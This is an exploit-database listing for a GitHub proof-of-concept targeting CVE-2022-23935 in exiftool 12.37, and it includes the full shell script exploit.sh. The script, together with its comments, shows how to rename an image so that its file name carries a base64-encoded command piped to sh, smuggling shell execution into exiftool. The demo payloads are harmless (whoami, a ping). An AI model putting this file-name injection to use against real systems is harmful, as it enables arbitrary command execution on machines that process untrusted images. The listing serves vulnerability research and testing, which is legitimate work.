Exploit database

GH-d5f89683c8812ad9bd9f723263c0ea5e

dpbe32/cve-2022-23935-poc-exploit

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2022-23935

6 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
dpbe32/cve-2022-23935-poc-exploitRevision 91c1745eb81f

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.sh

Shell · 486 bytes
#!/bin/bash

# CVE-2022-23935 exiftool version 12.37

# If the program gives error, you can exploit it manually with the following commands:

#echo "ping 10.10.14.70 -c1" | base64
#mv imagen.png "echo base64_code|base64 -d|sh|"




function ctrl_c(){
	echo -e "\n\n [!] Exiting...\n\n"
	exit 1
}

# Ctrl+c
trap ctrl_c INT

if [ "$(id -u)" == "0" ]; then
	mv image.png "echo $(echo 'whoami'|base64) | base64 -d | sh"
else
	echo -e "\n[!] You need execute this program with root user"
fi